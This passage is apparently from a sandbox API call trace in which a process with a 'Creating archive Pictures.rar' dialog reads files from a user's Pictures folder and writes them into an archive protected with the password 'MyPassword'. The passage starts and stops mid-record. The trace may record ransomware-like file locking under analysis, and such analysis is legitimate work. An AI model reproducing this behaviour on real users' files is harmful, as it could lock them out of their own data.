lpDistanceToMoveHigh=0x1698f0*=0) returned 0xf4d3 [0059.552] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bdb0 [0059.552] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bde0 [0059.552] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bde0, Size=0x48) returned 0x26fe80 [0059.552] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.552] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bde0 [0059.552] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bde0, Size=0x48) returned 0x26fed0 [0059.552] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.552] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.552] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bde0 [0059.553] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be10 [0059.553] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8be10 | out: hHeap=0x1b0000) returned 1 [0059.553] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bde0 | out: hHeap=0x1b0000) returned 1 [0059.553] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bdb0, Size=0x48) returned 0x26fe80 [0059.553] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7e) returned 0x203ab0 [0059.553] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x7b, lpOverlapped=0x0) returned 1 [0059.553] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bdb0 [0059.553] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x7b) returned 0x203bd0 [0059.553] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.553] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.553] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x2848e [0059.553] CloseHandle (hObject=0x1b0) returned 1 [0059.553] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.553] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.553] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.553] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.553] FindFirstFileW (in: lpFileName="6so3uw\\9Cnbfi2a\\mwTl5gGRtX.png", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0059.553] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0059.553] CreateFileW (lpFileName="6so3uw\\9Cnbfi2a\\mwTl5gGRtX.png" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\9cnbfi2a\\mwtl5ggrtx.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.553] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.553] GetTickCount () returned 0xa653ec [0059.553] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0059.553] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0059.553] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.553] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0059.554] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="JzMMZnM0QB06bugb_OB.gif") returned 23 [0059.554] SetWindowTextW (hWnd=0x1024c, lpString="mwTl5gGRtX.png") returned 1 [0059.554] GetTickCount () returned 0xa653ec [0059.554] UpdateWindow (hWnd=0x10244) returned 1 [0059.554] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.554] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0059.554] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0059.554] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0059.554] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0xed)) [0059.554] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0059.554] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13489526397) returned 1 [0059.555] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0xa1c6, lpOverlapped=0x0) returned 1 [0059.556] ReadFile (in: hFile=0x1b0, lpBuffer=0x36da206, nNumberOfBytesToRead=0xf5e3a, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36da206*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0059.556] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.556] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.556] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bde0 [0059.556] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be10 [0059.556] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be10, Size=0x48) returned 0x26fed0 [0059.556] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.556] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be10 [0059.556] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be10, Size=0x48) returned 0x26fe80 [0059.556] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.556] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.556] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be10 [0059.556] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be40 [0059.556] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8be40 | out: hHeap=0x1b0000) returned 1 [0059.556] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8be10 | out: hHeap=0x1b0000) returned 1 [0059.556] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bde0, Size=0x48) returned 0x26fed0 [0059.556] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0059.556] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.556] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.558] GetTickCount () returned 0xa653ec [0059.558] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13489884732) returned 1 [0059.558] GetTickCount () returned 0xa653ec [0059.559] GetTickCount () returned 0xa653ec [0059.559] GetTickCount () returned 0xa653ec [0059.559] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.559] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.559] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.559] ResetEvent (hEvent=0x1a4) returned 1 [0059.559] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.561] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.561] ResetEvent (hEvent=0x1a4) returned 1 [0059.561] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.562] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.562] GetTickCount () returned 0xa653fc [0059.562] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13490287251) returned 1 [0059.563] GetTickCount () returned 0xa653fc [0059.563] GetTickCount () returned 0xa653fc [0059.563] GetTickCount () returned 0xa653fc [0059.563] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.563] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.563] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.563] ResetEvent (hEvent=0x190) returned 1 [0059.563] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.563] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.563] ResetEvent (hEvent=0x190) returned 1 [0059.564] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.564] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.564] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.564] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.564] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x2848e [0059.564] SetFilePointer (in: hFile=0x198, lDistanceToMove=114, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x28500 [0059.565] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0059.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.565] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0059.565] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0059.565] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0059.565] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0xa230, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0xa230, lpOverlapped=0x0) returned 1 [0059.566] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.566] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.566] SetFilePointer (in: hFile=0x198, lDistanceToMove=165006, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x2848e [0059.566] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x2848e [0059.566] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bde0 [0059.566] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be10 [0059.566] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be10, Size=0x48) returned 0x26fe80 [0059.566] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.566] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be10 [0059.566] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be10, Size=0x48) returned 0x26fed0 [0059.566] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.566] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.566] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be10 [0059.566] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be40 [0059.566] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8be40 | out: hHeap=0x1b0000) returned 1 [0059.566] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8be10 | out: hHeap=0x1b0000) returned 1 [0059.566] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bde0, Size=0x48) returned 0x26fe80 [0059.566] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0059.566] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x72, lpOverlapped=0x0) returned 1 [0059.566] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bde0 [0059.566] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x72) returned 0x2a0abd0 [0059.566] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.566] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.566] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x32730 [0059.566] CloseHandle (hObject=0x1b0) returned 1 [0059.566] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.566] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.566] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.566] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.566] FindFirstFileW (in: lpFileName="6so3uw\\9Cnbfi2a\\RIcQ1EmpXOwuZfKzm7T.bmp", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0059.566] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0059.567] CreateFileW (lpFileName="6so3uw\\9Cnbfi2a\\RIcQ1EmpXOwuZfKzm7T.bmp" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\9cnbfi2a\\ricq1empxowuzfkzm7t.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.567] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.567] GetTickCount () returned 0xa653fc [0059.567] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0059.567] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0059.567] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.567] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0059.567] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="mwTl5gGRtX.png") returned 14 [0059.567] SetWindowTextW (hWnd=0x1024c, lpString="RIcQ1EmpXOwuZfKzm7T.bmp") returned 1 [0059.567] GetTickCount () returned 0xa653fc [0059.567] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.567] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0059.568] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0059.568] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0059.568] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0xfd)) [0059.568] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0059.568] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13490814485) returned 1 [0059.568] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x3e21, lpOverlapped=0x0) returned 1 [0059.568] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d3e61, nNumberOfBytesToRead=0xfc1df, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d3e61*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0059.568] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be10 [0059.568] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be40 [0059.568] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be40, Size=0x48) returned 0x26fed0 [0059.568] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.569] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be40 [0059.569] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be40, Size=0x48) returned 0x26fe80 [0059.569] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.569] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.569] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be40 [0059.569] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be70 [0059.569] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8be70 | out: hHeap=0x1b0000) returned 1 [0059.569] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8be40 | out: hHeap=0x1b0000) returned 1 [0059.569] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be10, Size=0x48) returned 0x26fed0 [0059.569] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7e) returned 0x203ab0 [0059.569] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.569] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.569] GetTickCount () returned 0xa653fc [0059.569] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13490974789) returned 1 [0059.569] GetTickCount () returned 0xa653fc [0059.569] GetTickCount () returned 0xa653fc [0059.569] GetTickCount () returned 0xa653fc [0059.569] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.569] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.570] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.570] ResetEvent (hEvent=0x1a4) returned 1 [0059.570] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.571] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.571] ResetEvent (hEvent=0x1a4) returned 1 [0059.571] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.571] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.571] GetTickCount () returned 0xa653fc [0059.571] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13491189373) returned 1 [0059.572] GetTickCount () returned 0xa653fc [0059.572] GetTickCount () returned 0xa653fc [0059.572] GetTickCount () returned 0xa653fc [0059.572] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.572] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.572] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.572] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.572] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.572] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x32730 [0059.572] SetFilePointer (in: hFile=0x198, lDistanceToMove=123, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x327ab [0059.572] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0059.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.572] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0059.572] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0059.572] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0059.572] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x3e40, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x3e40, lpOverlapped=0x0) returned 1 [0059.573] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.573] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.573] SetFilePointer (in: hFile=0x198, lDistanceToMove=206640, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x32730 [0059.573] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x32730 [0059.573] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be10 [0059.573] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be40 [0059.573] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be40, Size=0x48) returned 0x26fe80 [0059.573] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.573] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be40 [0059.573] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be40, Size=0x48) returned 0x26fed0 [0059.573] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.573] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.573] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be40 [0059.573] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be70 [0059.573] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8be70 | out: hHeap=0x1b0000) returned 1 [0059.573] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8be40 | out: hHeap=0x1b0000) returned 1 [0059.573] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be10, Size=0x48) returned 0x26fe80 [0059.573] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7e) 